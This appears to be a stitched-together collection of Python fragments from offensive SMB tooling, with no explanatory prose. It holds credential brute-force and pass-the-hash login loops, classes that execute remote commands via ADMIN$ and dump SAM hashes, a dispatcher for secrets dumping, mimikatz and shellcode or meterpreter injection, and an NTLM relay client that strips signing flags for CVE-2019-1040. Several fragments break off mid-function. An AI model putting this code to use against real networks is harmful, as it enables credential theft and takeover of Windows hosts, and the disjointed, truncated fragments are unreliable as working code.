def login(self, ipaddress, port, user_passwd_pair_list): for user_passwd_pair in user_passwd_pair_list: try: fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) except Exception as E: logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) return try: if "\\" in user_passwd_pair[0]: domain = user_passwd_pair[0].split("\\")[0] username = user_passwd_pair[0].split("\\")[1] else: domain = "" username = user_passwd_pair[0] if fp.login(username, user_passwd_pair[1], domain=domain): if fp.isGuestSession() == 0: if domain == "": log_success("SMB", ipaddress, port, user_passwd_pair) else: log_success("SMB", ipaddress, port, ["{}\\{}".format(domain, username), user_passwd_pair[1]]) except Exception as E: logger.debug('AuthenticationException: %s' % E) finally: fp.getSMBServer().get_socket().close()
class SMBAttack(Thread): def __init__(self, config, SMBClient, exeFile, command): Thread.__init__(self) self.daemon = True if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.config = config self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from impacket.examples.secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() samHashes.export(self.__SMBConnection.getRemoteHost()+'_samhashes') logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
def login_with_hash(self, ipaddress, port, hashes): user_hash_pair_list = [] for hash in hashes: user_hash_pair_list.append(hash.strip().split(",")) for user_hash_pair in user_hash_pair_list: try: fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) except Exception as E: logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) return try: if fp.login(user_hash_pair[1], "", domain=user_hash_pair[0], lmhash=user_hash_pair[2].split(":")[0], nthash=user_hash_pair[2].split(":")[1]): if fp.isGuestSession() == 0: log_success("SMB", ipaddress, port, [ "{}/{}".format(user_hash_pair[0], user_hash_pair[1]), user_hash_pair[2] ]) except Exception as E: logger.debug('AuthenticationException: %s' % E) finally: fp.getSMBServer().get_socket().close()
class doAttack(Thread): def __init__(self, SMBClient, exeFile, command): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile self.__command = command self.__answerTMP = '' if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def __answer(self, data): self.__answerTMP += data def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting logging.error(str(e)) return try: if self.__command is not None: remoteOps._RemoteOperations__executeRemote(self.__command) logging.info("Executed specified command on host: %s", self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) print self.__answerTMP self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') else: bootKey = remoteOps.getBootKey() remoteOps._RemoteOperations__serviceDeleted = True samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
def login(self, ipaddress, port, user_passwd_pair_list): for user_passwd_pair in user_passwd_pair_list: try: fp = SMBConnection('*SMBSERVER', ipaddress, sess_port=int(port), timeout=self.timeout) except Exception as E: logger.debug('ConnectException: {} {} {}'.format(E, ipaddress, port)) return try: if fp.login(user_passwd_pair[0], user_passwd_pair[1], ""): if fp.isGuestSession() == 0: log_success("SMB", ipaddress, port, user_passwd_pair) except Exception as E: logger.debug('AuthenticationException: %s' % E) finally: fp.getSMBServer().get_socket().close()
def secretsdump(session): session.lock.acquire() logging.debug("secretsdump acquired session lock") samHashes = None try: connection = SMBConnection(existingConnection=session) flags1, flags2 = connection.getSMBServer().get_flags() flags2 |= SMB.FLAGS2_LONG_NAMES connection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(connection, False) remoteOps.enableRegistry() except Exception, e: logging.error(str(e)) return
class doAttack(): # class doAttack(Thread): def __init__(self, SMBClient, command): # Thread.__init__(self) self.__SMBConnection = SMBConnection(existingConnection=SMBClient) self.__command = command self.__answerTMP = '' def __answer(self, data): self.__answerTMP += data def run(self): samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception as e: # Something wen't wrong, most probably we don't have access as admin. aborting print(str(e)) return False try: remoteOps._RemoteOperations__executeRemote(self.__command) # print("Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost()) self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') except Exception as e: print(str(e)) self.__answerTMP = 'ERROR' finally: if remoteOps is not None: remoteOps.finish() return self.__answerTMP
class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection=SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile if exeFile is not None: self.installService = serviceinstall.ServiceInstall( SMBClient, exeFile) def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None remoteOps = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags( ) flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() bootKey = remoteOps.getBootKey() samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote=True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class doAttack(Thread): def __init__(self, SMBClient, exeFile): Thread.__init__(self) if isinstance(SMBClient, smb.SMB) or isinstance(SMBClient, smb3.SMB3): self.__SMBConnection = SMBConnection(existingConnection = SMBClient) else: self.__SMBConnection = SMBClient self.__exeFile = exeFile if exeFile is not None: self.installService = serviceinstall.ServiceInstall(SMBClient, exeFile) def run(self): # Here PUT YOUR CODE! if self.__exeFile is not None: result = self.installService.install() if result is True: logging.info("Service Installed.. CONNECT!") self.installService.uninstall() else: from secretsdump import RemoteOperations, SAMHashes samHashes = None remoteOps = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= smb.SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() bootKey = remoteOps.getBootKey() samFileName = remoteOps.saveSAM() samHashes = SAMHashes(samFileName, bootKey, isRemote = True) samHashes.dump() logging.info("Done dumping SAM hashes for host: %s", self.__SMBConnection.getRemoteHost()) except Exception, e: logging.error(str(e)) finally:
class doAttack(): # class doAttack(Thread): def __init__(self, SMBClient, command): # Thread.__init__(self) self.__SMBConnection = SMBConnection(existingConnection = SMBClient) self.__command = command self.__answerTMP = '' def __answer(self, data): self.__answerTMP += data def run(self): samHashes = None try: # We have to add some flags just in case the original client did not # Why? needed for avoiding INVALID_PARAMETER flags1, flags2 = self.__SMBConnection.getSMBServer().get_flags() flags2 |= SMB.FLAGS2_LONG_NAMES self.__SMBConnection.getSMBServer().set_flags(flags2=flags2) remoteOps = RemoteOperations(self.__SMBConnection, False) remoteOps.enableRegistry() except Exception, e: # Something wen't wrong, most probably we don't have access as admin. aborting print str(e) return False try: remoteOps._RemoteOperations__executeRemote(self.__command) # print "Executed specified command on host: %s" % self.__SMBConnection.getRemoteHost() self.__answerTMP = '' self.__SMBConnection.getFile('ADMIN$', 'Temp\\__output', self.__answer) self.__SMBConnection.deleteFile('ADMIN$', 'Temp\\__output') except Exception, e: print str(e) self.__answerTMP = 'ERROR'
def main_greenlet(host): try: smb = SMBConnection(host, host, None, settings.args.port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] try: smb.login('', '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = settings.args.domain s_name = smb.getServerName() if not domain: domain = smb.getServerDomain() if not domain: domain = s_name cme_logger = CMEAdapter( logging.getLogger('CME'), { 'host': host, 'hostname': s_name, 'port': settings.args.port, 'service': 'SMB' }) cme_logger.info(u"{} (name:{}) (domain:{})".format( smb.getServerOS(), s_name, domain)) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if settings.args.mssql: cme_logger = CMEAdapter( logging.getLogger('CME'), { 'host': host, 'hostname': s_name, 'port': settings.args.mssql_port, 'service': 'MSSQL' }) #try: ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) ms_sql.connect() instances = ms_sql.getInstances(5) cme_logger.info("Found {} MSSQL instance(s)".format( len(instances))) for i, instance in enumerate(instances): cme_logger.results("Instance {}".format(i)) for key in instance.keys(): cme_logger.results(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass #except socket.error as e: # if settings.args.verbose: mssql_cme_logger.error(str(e)) if (settings.args.user and (settings.args.passwd or settings.args.hash)) or settings.args.combo_file: ms_sql = None smb = None if settings.args.mssql: ms_sql = tds.MSSQL(host, int(settings.args.mssql_port), cme_logger) ms_sql.connect() ms_sql, user, passwd, ntlm_hash, domain = smart_login( host, domain, ms_sql, cme_logger) sql_shell = SQLSHELL(ms_sql, cme_logger) else: smb = SMBConnection(host, host, None, settings.args.port) smb, user, passwd, ntlm_hash, domain = smart_login( host, domain, smb, cme_logger) if ms_sql: connection = ms_sql if settings.args.mssql_query: sql_shell.onecmd(settings.args.mssql_query) if smb: connection = smb if settings.args.delete or settings.args.download or settings.args.list or settings.args.upload: rfs = RemoteFileSystem(host, smb, cme_logger) if settings.args.delete: rfs.delete() if settings.args.download: rfs.download() if settings.args.upload: rfs.upload() if settings.args.list: rfs.list() if settings.args.enum_shares: shares = SHAREDUMP(smb, cme_logger) shares.dump(host) if settings.args.enum_users: users = SAMRDump(cme_logger, '{}/SMB'.format(settings.args.port), user, passwd, domain, ntlm_hash, settings.args.aesKey, settings.args.kerb) users.dump(host) if settings.args.sam or settings.args.lsa or settings.args.ntds: dumper = DumpSecrets(cme_logger, 'logs/{}'.format(host), smb, settings.args.kerb) dumper.do_remote_ops() if settings.args.sam: dumper.dump_SAM() if settings.args.lsa: dumper.dump_LSA() if settings.args.ntds: dumper.dump_NTDS(settings.args.ntds, settings.args.ntds_history, settings.args.ntds_pwdLastSet) dumper.cleanup() if settings.args.pass_pol: pass_pol = PassPolDump(cme_logger, '{}/SMB'.format(settings.args.port), user, passwd, domain, ntlm_hash, settings.args.aesKey, settings.args.kerb) pass_pol.dump(host) if settings.args.rid_brute: lookup = LSALookupSid(cme_logger, user, passwd, domain, '{}/SMB'.format(settings.args.port), ntlm_hash, settings.args.rid_brute) lookup.dump(host) if settings.args.enum_sessions or settings.args.enum_disks or settings.args.enum_lusers: rpc_query = RPCQUERY(cme_logger, user, passwd, domain, ntlm_hash) if settings.args.enum_sessions: rpc_query.enum_sessions(host) if settings.args.enum_disks: rpc_query.enum_disks(host) if settings.args.enum_lusers: rpc_query.enum_lusers(host) if settings.args.spider: smb_spider = SMBSPIDER(cme_logger, host, smb) smb_spider.spider(settings.args.spider, settings.args.depth) smb_spider.finish() if settings.args.wmi_query: wmi_query = WMIQUERY(cme_logger, user, domain, passwd, ntlm_hash, settings.args.kerb, settings.args.aesKey) wmi_query.run(settings.args.wmi_query, host, settings.args.namespace) if settings.args.check_uac: uac = UACdump(cme_logger, smb, settings.args.kerb) uac.run() if settings.args.enable_wdigest or settings.args.disable_wdigest: wdigest = WdisgestEnable(cme_logger, smb, settings.args.kerb) if settings.args.enable_wdigest: wdigest.enable() elif settings.args.disable_wdigest: wdigest.disable() if settings.args.service: service_control = SVCCTL( cme_logger, user, passwd, domain, '{}/SMB'.format(settings.args.port), settings.args.service, settings.args.aesKey, settings.args.kerb, ntlm_hash, settings.args) service_control.run(host) if settings.args.command: EXECUTOR(cme_logger, settings.args.command, host, domain, settings.args.no_output, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.pscommand: EXECUTOR( cme_logger, ps_command(settings.args.pscommand, settings.args.ps_arch), host, domain, settings.args.no_output, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.mimikatz: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.gpp_passwords: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.gpp_passwords(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.mimikatz_cmd: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.mimikatz(settings.args.mimikatz_cmd), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.powerview: #For some reason powerview functions only seem to work when using smbexec... #I think we might have a mistery on our hands boys and girls! powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.powerview(settings.args.powerview), host, domain, True, connection, 'smbexec', user, passwd, ntlm_hash) if settings.args.tokens: powah_command = PowerShell(settings.args.server, local_ip) EXECUTOR(cme_logger, powah_command.token_enum(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject: powah_command = PowerShell(settings.args.server, local_ip) if settings.args.inject.startswith('met_'): EXECUTOR(cme_logger, powah_command.inject_meterpreter(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject == 'shellcode': EXECUTOR(cme_logger, powah_command.inject_shellcode(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) if settings.args.inject == 'dll' or settings.args.inject == 'exe': EXECUTOR(cme_logger, powah_command.inject_exe_dll(), host, domain, True, connection, settings.args.execm, user, passwd, ntlm_hash) try: smb.logoff() except: pass try: ms_sql.disconnect() except: pass except SessionError as e: print_error("{}:{} {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except NetBIOSError as e: print_error("{}:{} NetBIOS Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except DCERPCException as e: print_error("{}:{} DCERPC Error: {}".format(host, settings.args.port, e)) if settings.args.verbose: traceback.print_exc() except socket.error as e: if settings.args.verbose: print_error(str(e)) return
def connector(target, args, db, module, context, cmeserver): try: smb = SMBConnection(target, target, None, args.smb_port) #Get our IP from the socket local_ip = smb.getSMBServer().get_socket().getsockname()[0] #Get the remote ip address (in case the target is a hostname) remote_ip = smb.getRemoteHost() try: smb.login('' , '') except SessionError as e: if "STATUS_ACCESS_DENIED" in e.message: pass domain = smb.getServerDomain() servername = smb.getServerName() serveros = smb.getServerOS() if not domain: domain = servername db.add_host(remote_ip, servername, domain, serveros) logger = CMEAdapter(getLogger('CME'), {'host': remote_ip, 'port': args.smb_port, 'hostname': u'{}'.format(servername)}) logger.info(u"{} (name:{}) (domain:{})".format(serveros, servername.decode('utf-8'), domain.decode('utf-8'))) try: ''' DC's seem to want us to logoff first Windows workstations sometimes reset the connection, so we handle both cases here (go home Windows, you're drunk) ''' smb.logoff() except NetBIOSError: pass except socket.error: pass if args.mssql: instances = None logger.extra['port'] = args.mssql_port ms_sql = tds.MSSQL(target, args.mssql_port, logger) ms_sql.connect() instances = ms_sql.getInstances(10) if len(instances) > 0: logger.info("Found {} MSSQL instance(s)".format(len(instances))) for i, instance in enumerate(instances): logger.highlight("Instance {}".format(i)) for key in instance.keys(): logger.highlight(key + ":" + instance[key]) try: ms_sql.disconnect() except: pass if args.username and (args.password or args.hash): conn = None if args.mssql and (instances is not None and len(instances) > 0): conn = tds.MSSQL(target, args.mssql_port, logger) conn.connect() elif not args.mssql: conn = SMBConnection(target, target, None, args.smb_port) if conn is None: return if args.domain: domain = args.domain connection = Connection(args, db, target, servername, domain, conn, logger, cmeserver) if (connection.password is not None or connection.hash is not None) and connection.username is not None: if module is not None: module_logger = CMEAdapter(getLogger('CME'), {'module': module.name.upper(), 'host': remote_ip, 'port': args.smb_port, 'hostname': servername}) context = Context(db, module_logger, args) context.localip = local_ip if hasattr(module, 'on_request') or hasattr(module, 'has_response'): cmeserver.server.context.localip = local_ip if hasattr(module, 'on_login'): module.on_login(context, connection) if hasattr(module, 'on_admin_login') and connection.admin_privs: module.on_admin_login(context, connection) else: if connection.admin_privs and (args.pscommand or args.command): get_output = True if args.no_output is False else False if args.mssql: args.exec_method = 'mssqlexec' if args.command: output = connection.execute(args.command, get_output=get_output) if args.pscommand: output = connection.execute(create_ps_command(args.pscommand), get_output=get_output) logger.success('Executed command {}'.format('via {}'.format(args.exec_method) if args.exec_method else '')) buf = StringIO(output).readlines() for line in buf: logger.highlight(line.strip()) if args.mssql and args.mssql_query: conn.sql_query(args.mssql_query) query_output = conn.printRows() logger.success('Executed MSSQL query') buf = StringIO(query_output).readlines() for line in buf: logger.highlight(line.strip()) elif not args.mssql: if connection.admin_privs and (args.sam or args.lsa or args.ntds): secrets_dump = DumpSecrets(connection, logger) if args.sam: secrets_dump.SAM_dump() if args.lsa: secrets_dump.LSA_dump() if args.ntds: secrets_dump.NTDS_dump(args.ntds, args.ntds_pwdLastSet, args.ntds_history) if connection.admin_privs and args.wdigest: w_digest = WDIGEST(logger, connection.conn) if args.wdigest == 'enable': w_digest.enable() elif args.wdigest == 'disable': w_digest.disable() if connection.admin_privs and args.uac: UAC(connection.conn, logger).enum() if args.spider: spider = SMBSpider(logger, connection, args) spider.spider(args.spider, args.depth) spider.finish() if args.enum_shares: ShareEnum(connection.conn, logger).enum() if args.enum_lusers or args.enum_disks or args.enum_sessions: rpc_connection = RPCQUERY(connection, logger) if args.enum_lusers: rpc_connection.enum_lusers() if args.enum_sessions: rpc_connection.enum_sessions() if args.enum_disks: rpc_connection.enum_disks() if args.pass_pol: PassPolDump(logger, args.smb_port, connection).enum() if args.enum_users: SAMRDump(logger, args.smb_port, connection).enum() if connection.admin_privs and args.wmi_query: WMIQUERY(logger, connection, args.wmi_namespace).query(args.wmi_query) if args.rid_brute: LSALookupSid(logger, args.smb_port, connection, args.rid_brute).brute_force() except socket.error: return
class SMBRelayClient(ProtocolClient): PLUGIN_NAME = "SMB" def __init__(self, serverConfig, target, targetPort=445, extendedSecurity=True): ProtocolClient.__init__(self, serverConfig, target, targetPort, extendedSecurity) self.extendedSecurity = extendedSecurity self.machineAccount = None self.machineHashes = None self.sessionData = {} self.negotiateMessage = None self.challengeMessage = None self.serverChallenge = None self.keepAliveHits = 1 def netlogonSessionKey(self, authenticateMessageBlob): # Here we will use netlogon to get the signing session key logging.info("Connecting to %s NETLOGON service" % self.serverConfig.domainIp) #respToken2 = SPNEGO_NegTokenResp(authenticateMessageBlob) authenticateMessage = NTLMAuthChallengeResponse() authenticateMessage.fromString(authenticateMessageBlob) _, machineAccount = self.serverConfig.machineAccount.split('/') domainName = authenticateMessage['domain_name'].decode('utf-16le') try: serverName = machineAccount[:len(machineAccount) - 1] except: # We're in NTLMv1, not supported return STATUS_ACCESS_DENIED stringBinding = r'ncacn_np:%s[\PIPE\netlogon]' % self.serverConfig.domainIp rpctransport = transport.DCERPCTransportFactory(stringBinding) if len(self.serverConfig.machineHashes) > 0: lmhash, nthash = self.serverConfig.machineHashes.split(':') else: lmhash = '' nthash = '' if hasattr(rpctransport, 'set_credentials'): # This method exists only for selected protocol sequences. rpctransport.set_credentials(machineAccount, '', domainName, lmhash, nthash) dce = rpctransport.get_dce_rpc() dce.connect() dce.bind(nrpc.MSRPC_UUID_NRPC) resp = nrpc.hNetrServerReqChallenge(dce, NULL, serverName + '\x00', b'12345678') serverChallenge = resp['ServerChallenge'] if self.serverConfig.machineHashes == '': ntHash = None else: ntHash = bytes.fromhex( self.serverConfig.machineHashes.split(':')[1]) sessionKey = nrpc.ComputeSessionKeyStrongKey('', b'12345678', serverChallenge, ntHash) ppp = nrpc.ComputeNetlogonCredential(b'12345678', sessionKey) nrpc.hNetrServerAuthenticate3( dce, NULL, machineAccount + '\x00', nrpc.NETLOGON_SECURE_CHANNEL_TYPE.WorkstationSecureChannel, serverName + '\x00', ppp, 0x600FFFFF) clientStoredCredential = pack('<Q', unpack('<Q', ppp)[0] + 10) # Now let's try to verify the security blob against the PDC request = nrpc.NetrLogonSamLogonWithFlags() request['LogonServer'] = '\x00' request['ComputerName'] = serverName + '\x00' request[ 'ValidationLevel'] = nrpc.NETLOGON_VALIDATION_INFO_CLASS.NetlogonValidationSamInfo4 request[ 'LogonLevel'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation'][ 'tag'] = nrpc.NETLOGON_LOGON_INFO_CLASS.NetlogonNetworkTransitiveInformation request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'LogonDomainName'] = domainName request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'ParameterControl'] = 0 request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'UserName'] = authenticateMessage['user_name'].decode('utf-16le') request['LogonInformation']['LogonNetworkTransitive']['Identity'][ 'Workstation'] = '' request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallenge'] = self.serverChallenge request['LogonInformation']['LogonNetworkTransitive'][ 'NtChallengeResponse'] = authenticateMessage['ntlm'] request['LogonInformation']['LogonNetworkTransitive'][ 'LmChallengeResponse'] = authenticateMessage['lanman'] authenticator = nrpc.NETLOGON_AUTHENTICATOR() authenticator['Credential'] = nrpc.ComputeNetlogonCredential( clientStoredCredential, sessionKey) authenticator['Timestamp'] = 10 request['Authenticator'] = authenticator request['ReturnAuthenticator']['Credential'] = b'\x00' * 8 request['ReturnAuthenticator']['Timestamp'] = 0 request['ExtraFlags'] = 0 # request.dump() try: resp = dce.request(request) # resp.dump() except DCERPCException as e: if logging.getLogger().level == logging.DEBUG: import traceback traceback.print_exc() logging.error(str(e)) return e.get_error_code() logging.info( "%s\\%s successfully validated through NETLOGON" % (domainName, authenticateMessage['user_name'].decode('utf-16le'))) encryptedSessionKey = authenticateMessage['session_key'] if encryptedSessionKey != b'': signingKey = generateEncryptedSessionKey( resp['ValidationInformation']['ValidationSam4'] ['UserSessionKey'], encryptedSessionKey) else: signingKey = resp['ValidationInformation']['ValidationSam4'][ 'UserSessionKey'] logging.info("SMB Signing key: %s " % signingKey.hex()) return STATUS_SUCCESS, signingKey def keepAlive(self): # SMB Keep Alive more or less every 5 minutes if self.keepAliveHits >= (250 / KEEP_ALIVE_TIMER): # Time to send a packet # Just a tree connect / disconnect to avoid the session timeout tid = self.session.connectTree('IPC$') self.session.disconnectTree(tid) self.keepAliveHits = 1 else: self.keepAliveHits += 1 def killConnection(self): if self.session is not None: self.session.close() self.session = None def initConnection(self): self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, manualNegotiate=True) #,preferredDialect=SMB_DIALECT) if self.serverConfig.smb2support is True: data = '\x02NT LM 0.12\x00\x02SMB 2.002\x00\x02SMB 2.???\x00' else: data = '\x02NT LM 0.12\x00' if self.extendedSecurity is True: flags2 = SMB.FLAGS2_EXTENDED_SECURITY | SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES else: flags2 = SMB.FLAGS2_NT_STATUS | SMB.FLAGS2_LONG_NAMES try: packet = self.session.negotiateSessionWildcard( None, self.targetHost, self.targetHost, self.targetPort, 60, self.extendedSecurity, flags1=SMB.FLAGS1_PATHCASELESS | SMB.FLAGS1_CANONICALIZED_PATHS, flags2=flags2, data=data) except Exception as e: if not self.serverConfig.smb2support: LOG.error( 'SMBClient error: Connection was reset. Possibly the target has SMBv1 disabled. Try running ntlmrelayx with -smb2support' ) else: LOG.error('SMBClient error: Connection was reset') return False if packet[0:1] == b'\xfe': preferredDialect = None # Currently only works with SMB2_DIALECT_002 or SMB2_DIALECT_21 if self.serverConfig.remove_target: preferredDialect = SMB2_DIALECT_21 smbClient = MYSMB3(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet, preferredDialect=preferredDialect) else: # Answer is SMB packet, sticking to SMBv1 smbClient = MYSMB(self.targetHost, self.targetPort, self.extendedSecurity, nmbSession=self.session.getNMBServer(), negPacket=packet) self.session = SMBConnection(self.targetHost, self.targetHost, sess_port=self.targetPort, existingConnection=smbClient, manualNegotiate=True) return True def setUid(self, uid): self._uid = uid def sendNegotiate(self, negotiateMessage): negoMessage = NTLMAuthNegotiate() negoMessage.fromString(negotiateMessage) # When exploiting CVE-2019-1040, remove flags if self.serverConfig.remove_mic: if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_SIGN == NTLMSSP_NEGOTIATE_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_ALWAYS_SIGN == NTLMSSP_NEGOTIATE_ALWAYS_SIGN: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_ALWAYS_SIGN if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_KEY_EXCH == NTLMSSP_NEGOTIATE_KEY_EXCH: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_KEY_EXCH if negoMessage[ 'flags'] & NTLMSSP_NEGOTIATE_VERSION == NTLMSSP_NEGOTIATE_VERSION: negoMessage['flags'] ^= NTLMSSP_NEGOTIATE_VERSION negotiateMessage = negoMessage.getData() challenge = NTLMAuthChallenge() if self.session.getDialect() == SMB_DIALECT: challenge.fromString(self.sendNegotiatev1(negotiateMessage)) else: challenge.fromString(self.sendNegotiatev2(negotiateMessage)) self.negotiateMessage = negotiateMessage self.challengeMessage = challenge.getData() # Store the Challenge in our session data dict. It will be used by the SMB Proxy self.sessionData['CHALLENGE_MESSAGE'] = challenge self.serverChallenge = challenge['challenge'] return challenge def sendNegotiatev2(self, negotiateMessage): v2client = self.session.getSMBServer() sessionSetup = SMB2SessionSetup() sessionSetup['Flags'] = 0 sessionSetup['SecurityBufferLength'] = len(negotiateMessage) sessionSetup['Buffer'] = negotiateMessage packet = v2client.SMB_PACKET() packet['Command'] = SMB2_SESSION_SETUP packet['Data'] = sessionSetup packetID = v2client.sendSMB(packet) ans = v2client.recvSMB(packetID) if ans.isValidAnswer(STATUS_MORE_PROCESSING_REQUIRED): v2client._Session['SessionID'] = ans['SessionID'] sessionSetupResponse = SMB2SessionSetup_Response(ans['Data']) return sessionSetupResponse['Buffer'] return False def sendNegotiatev1(self, negotiateMessage): v1client = self.session.getSMBServer() smb = NewSMBPacket() smb['Flags1'] = SMB.FLAGS1_PATHCASELESS smb['Flags2'] = SMB.FLAGS2_EXTENDED_SECURITY # Are we required to sign SMB? If so we do it, if not we skip it if v1client.is_signing_required(): smb['Flags2'] |= SMB.FLAGS2_SMB_SECURITY_SIGNATURE # Just in case, clear the Unicode Flag flags2 = v1client.get_flags()[1] v1client.set_flags(flags2=flags2 & (~SMB.FLAGS2_UNICODE)) sessionSetup = SMBCommand(SMB.SMB_COM_SESSION_SETUP_ANDX) sessionSetup['Parameters'] = SMBSessionSetupAndX_Extended_Parameters() sessionSetup['Data'] = SMBSessionSetupAndX_Extended_Data() sessionSetup['Parameters']['MaxBufferSize'] = 65535 sessionSetup['Parameters']['MaxMpxCount'] = 2 